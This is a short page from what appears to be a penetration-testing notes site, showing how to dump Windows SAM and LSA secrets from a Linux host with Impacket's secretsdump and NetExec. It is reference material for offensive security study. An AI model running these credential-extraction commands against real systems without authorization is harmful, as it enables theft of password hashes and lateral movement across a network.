> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/credentials/extraction-from-linux.md).

# Extracting from Linux

Active Directory security notes for Extracting from Linux, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

### With Impacket

If you have valid credentials with the necessary rights, you can use:

```bash
secretsdump.py user1:Password@172.16.0.10
```

This command attempts to extract the secrets accessible on the remote machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c1f6381bc1705eb0fdc8aae1a28c0b784d58c48%2Fimage%20(3303).png?alt=media" alt=""><figcaption></figcaption></figure>

### With NetExec / CrackMapExec

Depending on the tool used, the command can be executed with `nxc`.

SAM extraction:

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --sam
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1451e8f16bc92b97579ead63c0b8e46998a7a4e9%2Fimage%20(3304).png?alt=media" alt=""><figcaption></figcaption></figure>

LSA extraction:

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --lsa
```

These commands require appropriate permissions on the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7f2176ecfefd58d1bcfa4ecd40ee36441915ced%2Fimage%20(3305).png?alt=media" alt=""><figcaption></figcaption></figure>


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